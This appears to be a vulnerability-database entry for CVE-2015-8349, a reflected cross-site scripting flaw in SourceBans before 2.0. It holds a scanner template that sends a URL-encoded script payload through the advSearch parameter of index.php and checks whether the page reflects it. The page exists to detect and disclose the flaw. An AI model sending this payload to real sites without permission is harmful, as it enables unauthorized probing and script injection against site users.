CVE-2015-8349: SourceBans <2.0 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: SourceBans | POC: 已公开

漏洞描述

SourceBans before 2.0 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the advSearch parameter to index.php.

PoC代码[已公开]

id: CVE-2015-8349

info:
  name: SourceBans <2.0 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: SourceBans before 2.0 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the advSearch parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a version of SourceBans that is 2.0 or above, which includes a fix for this vulnerability.
  reference:
    - https://www.htbridge.com/advisory/HTB23273
    - https://nvd.nist.gov/vuln/detail/CVE-2015-8349
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2015-8349
    cwe-id: CWE-79
    epss-score: 0.09843
    epss-percentile: 0.92707
    cpe: cpe:2.3:a:gameconnect:sourcebans:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gameconnect
    product: sourcebans
  tags: cve2015,cve,xss,sourcebans,gameconnect

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?p=banlist&advSearch=0%27%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&advType=btype"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/

      - type: status
        status:
          - 200
# digest: 490a00463044022040d4183f636f829f0c4aa6fa078c12d969587cf9429014a201a23b5e63db770902202050822a313876376f7c45f3eb0320aac5f50a8859f65e69a7d401b31bde58d1:922c64590222798bb761d5b6d8e72950